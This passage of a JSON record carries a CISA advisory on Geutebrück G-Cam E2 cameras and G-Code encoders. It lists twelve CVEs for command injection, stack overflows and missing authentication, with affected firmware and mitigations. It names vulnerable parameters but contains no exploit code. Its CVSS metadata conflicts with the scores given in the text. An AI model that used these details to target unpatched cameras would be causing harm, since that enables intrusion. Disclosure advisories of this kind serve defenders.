complexity/public exploits are available\n * **Vendor:** Geutebr\u00fcck\n * **Equipment: **G-Cam E2 and G-Code\n * **Vulnerabilities:** Missing Authentication for Critical Function, Command Injection, Stack-based Buffer Overflow\n\n## 2\\. RISK EVALUATION\n\nUDP Technology supplies multiple OEMs such as Geutebr\u00fcck with firmware for IP cameras. Successful exploitation of these vulnerabilities could allow unauthenticated access to sensitive information; buffer overflow and command injection conditions may allow remote code execution.\n\n## 3\\. TECHNICAL DETAILS\n\n### 3.1 AFFECTED PRODUCTS\n\nThe following Geutebr\u00fcck devices contain the affected third-party firmware provided by UDP Technology:\n\n * E2 Series cameras \u2013 G-CAM; Versions 1.12.0.27 and prior, Versions 1.12.13.2 and 1.12.14.5 \n * EBC-21xx\n * EFD-22xx\n * ETHC-22xx\n * EWPC-22xx\n * Encoder G-Code; Versions 1.12.0.27 and prior, Versions 1.12.13.2 and 1.12.14.5 \n * EEC-2xx\n * EEN-20xx\n\n### 3.2 VULNERABILITY OVERVIEW\n\n#### 3.2.1 [MISSING AUTHENTICATION FOR CRITICAL FUNCTION CWE-306](<https://cwe.mitre.org/data/definitions/306.html>)\n\nThe affected product allows unauthenticated remote access to sensitive files due to default user authentication settings.\n\n[CVE-2021-33543](<http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-33543>) has been assigned to this vulnerability. A CVSS v3 base score of 9.8 has been calculated; the CVSS vector string is ([AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H](<https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H>)).\n\n#### 3.2.2 [IMPROPER NEUTRALIZATION OF SPECIAL ELEMENTS USED IN A COMMAND ('COMMAND INJECTION') CWE-77](<https://cwe.mitre.org/data/definitions/77.html>)\n\nThe affected product is vulnerable to command injection, which may allow an attacker to remotely execute arbitrary code.\n\n[CVE-2021-33544](<http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-33544>) has been assigned to this vulnerability. A CVSS v3 base score of 7.2 has been calculated; the CVSS vector string is ([AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H](<https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H>)).\n\n#### 3.2.3 [STACK-BASED BUFFER OVERFLOW CWE-121](<https://cwe.mitre.org/data/definitions/121.html>)\n\nThe affected product is vulnerable to a stack-based buffer overflow condition in the counter parameter which may allow an attacker to remotely execute arbitrary code. \n\n[CVE-2021-33545](<http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-33545>) has been assigned to this vulnerability. A CVSS v3 base score of 7.2 has been calculated; the CVSS vector string is ([AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H](<https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H>)).\n\n#### 3.2.4 [STACK-BASED BUFFER OVERFLOW CWE-121](<https://cwe.mitre.org/data/definitions/121.html>)\n\nThe affected product is vulnerable to a stack-based buffer overflow condition in the name parameter, which may allow an attacker to remotely execute arbitrary code.\n\n[CVE-2021-33546](<http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-33546>) has been assigned to this vulnerability. A CVSS v3 base score of 7.2 has been calculated; the CVSS vector string is ([AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H](<https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H>)).\n\n#### 3.2.5 [STACK-BASED BUFFER OVERFLOW CWE-121](<https://cwe.mitre.org/data/definitions/121.html>)\n\nThe affected product is vulnerable to a stack-based buffer overflow condition in the profile parameter which may allow an attacker to remotely execute arbitrary code. \n\n[CVE-2021-33547](<http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-33547>) has been assigned to this vulnerability. A CVSS v3 base score of 7.2 has been calculated; the CVSS vector string is ([AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H](<https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H>)).\n\n#### 3.2.6 [IMPROPER NEUTRALIZATION OF SPECIAL ELEMENTS USED IN A COMMAND ('COMMAND INJECTION') CWE-77](<https://cwe.mitre.org/data/definitions/77.html>)\n\nThe affected product is vulnerable to command injection, which may allow an attacker to remotely execute arbitrary code.\n\n[CVE-2021-33548](<http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-33548>) has been assigned to this vulnerability. A CVSS v3 base score of 7.2 has been calculated; the CVSS vector string is ([AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H](<https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H>)).\n\n#### 3.2.7 [STACK-BASED BUFFER OVERFLOW CWE-121](<https://cwe.mitre.org/data/definitions/121.html>)\n\nThe affected product is vulnerable to a stack-based buffer overflow condition in the action parameter, which may allow an attacker to remotely execute arbitrary code.\n\n[CVE-2021-33549](<http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-33549>) has been assigned to this vulnerability. A CVSS v3 base score of 7.2 has been calculated; the CVSS vector string is ([AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H](<https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H>)).\n\n#### 3.2.8 [IMPROPER NEUTRALIZATION OF SPECIAL ELEMENTS USED IN A COMMAND ('COMMAND INJECTION') CWE-77](<https://cwe.mitre.org/data/definitions/77.html>)\n\nThe affected product is vulnerable to command injection, which may allow an attacker to remotely execute arbitrary code.\n\n[CVE-2021-33550](<http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-33550>) has been assigned to this vulnerability. A CVSS v3 base score of 7.2 has been calculated; the CVSS vector string is ([AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H](<https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H>)).\n\n#### 3.2.9 [IMPROPER NEUTRALIZATION OF SPECIAL ELEMENTS USED IN A COMMAND ('COMMAND INJECTION') CWE-77](<https://cwe.mitre.org/data/definitions/77.html>)\n\nThe affected product is vulnerable to command injection, which may allow an attacker to remotely execute arbitrary code.\n\n[CVE-2021-33551](<http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-33551>) has been assigned to this vulnerability. A CVSS v3 base score of 7.2 has been calculated; the CVSS vector string is ([AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H](<https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H>)).\n\n#### 3.2.10 [IMPROPER NEUTRALIZATION OF SPECIAL ELEMENTS USED IN A COMMAND ('COMMAND INJECTION') CWE-77](<https://cwe.mitre.org/data/definitions/77.html>)\n\nThe affected product is vulnerable to command injection, which may allow an attacker to remotely execute arbitrary code.\n\n[CVE-2021-33552](<http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-33552>) has been assigned to this vulnerability. A CVSS v3 base score of 7.2 has been calculated; the CVSS vector string is ([AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H](<https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H>)).\n\n#### 3.2.11 [IMPROPER NEUTRALIZATION OF SPECIAL ELEMENTS USED IN A COMMAND ('COMMAND INJECTION') CWE-77](<https://cwe.mitre.org/data/definitions/77.html>)\n\nThe affected product is vulnerable to command injection, which may allow an attacker to remotely execute arbitrary code.\n\n[CVE-2021-33553](<http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-33553>) has been assigned to this vulnerability. A CVSS v3 base score of 7.2 has been calculated; the CVSS vector string is ([AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H](<https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H>)).\n\n#### 3.2.12 [IMPROPER NEUTRALIZATION OF SPECIAL ELEMENTS USED IN A COMMAND ('COMMAND INJECTION') CWE-77](<https://cwe.mitre.org/data/definitions/77.html>)\n\nThe affected product is vulnerable to command injection, which may allow an attacker to remotely execute arbitrary code.\n\n[CVE-2021-33554](<http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-33554>) has been assigned to this vulnerability. A CVSS v3 base score of 7.2 has been calculated; the CVSS vector string is ([AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H](<https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H>)).\n\n### 3.3 BACKGROUND\n\n * **CRITICAL INFRASTRUCTURE SECTORS:** Commercial Facilities, Energy, Financial Services, Government Facilities, Healthcare and Public Health, Transportation Systems\n * **COUNTRIES/AREAS DEPLOYED: **Worldwide\n * **COMPANY HEADQUARTERS LOCATION: **Germany\n\n### 3.4 RESEARCHER\n\nTitouan Lazard and Ibrahim Ayadhi from RandoriSec reported these vulnerabilities to CISA.\n\n## 4\\. MITIGATIONS\n\nGeutebr\u00fcck strongly recommends updating all affected cameras and encoders listed above to firmware Version 1.12.14.7 or later. The security advisory and the latest firmware can both be acquired on [Geutebr\u00fcck\u2019s web portal](<https://gcc02.safelinks.protection.outlook.com/?url=https%3A%2F%2Fportal.geutebrueck.com%2F&data=04%7C01%7Cpaul.lambert%40inl.gov%7Cf980cf8ed61e45ce028808d9505ef3d2%7C4cf464b7869a42368da2a98566485554%7C0%7C0%7C637629191029853114%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D%7C1000&sdata=8UP9NuwqOke19wr7iDG2ZjnJt33fyYNXLb3FeAZCPJ0%3D&reserved=0>) (Login required).\n\nIf updates cannot be deployed, Geutebr\u00fcck recommends taking the following defensive measures to minimize the risk of exploitation of these vulnerabilities:\n\n * Change the default passwords of the cameras.\n * Minimize network exposure for all control system devices and/or systems, and ensure they are not accessible from the Internet.\n * Locate control system networks and remote devices behind firewalls and isolate them from the business network.\n * When remote access is required, use secure methods, such as virtual private networks (VPNs), recognizing that VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize that VPN is only as secure as the connected devices.\n * Ultimately shut down or disconnect the cameras from the network.\n\nCISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures. \n \nCISA also provides a section for [control systems security recommended practices](<https://us-cert.cisa.gov/ics/recommended-practices>) on the ICS webpage on [us-cert.cisa.gov](<https://us-cert.cisa.gov/ics>). Several recommended practices are available for reading and download, including [Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies](<https://us-cert.cisa.gov/sites/default/files/recommended_practices/NCCIC_ICS-CERT_Defense_in_Depth_2016_S508C.pdf>).\n\nAdditional mitigation guidance and recommended practices are publicly available on the [ICS webpage on us-cert.cisa.gov](<https://us-cert.cisa.gov/ics>) in the Technical Information Paper, [ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies](<https://us-cert.cisa.gov/ics/tips/ICS-TIP-12-146-01B>). \n \nOrganizations observing any suspected malicious activity should follow their established internal procedures and report their findings to CISA for tracking and correlation against other incidents.\n\n## \nContact Information\n\nFor any questions related to this report, please contact the CISA at: \n \nEmail: [CISAservicedesk@cisa.dhs.gov](<mailto:cisaservicedesk@cisa.dhs.gov>) \nToll Free: 1-888-282-0870\n\nFor industrial control systems cybersecurity information: https://us-cert.cisa.gov/ics \nor incident reporting: https://us-cert.cisa.gov/report\n\nCISA continuously strives to improve its products and services. You can help by choosing one of the links below to provide feedback about this product.\n\nThis product is provided subject to this Notification and this [Privacy & Use](<https://www.dhs.gov/privacy-policy>) policy.\n\n**Please share your thoughts.**\n\nWe recently updated our anonymous [product survey](<https://www.surveymonkey.com/r/CISA-cyber-survey?product=https://us-cert.cisa.gov/ics/advisories/icsa-21-208-03>); we'd welcome your feedback.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2021-07-27T00:00:00", "type": "ics", "title": "Geutebr\u00fcck G-Cam E2 and G-Code", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-33543", "CVE-2021-33544", "CVE-2021-33545", "CVE-2021-33546", "CVE-2021-33547", "CVE-2021-33548", "CVE-2021-33549", "CVE-2021-33550", "CVE-2021-33551", "CVE-2021-33552", "CVE-2021-33553", "CVE-2021-33554"], "modified": "2021-07-27T00:00:00", "id": "ICSA-21-208-03", "href": "https://www.us-cert.gov/ics/advisories/icsa-21-208-03", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}]}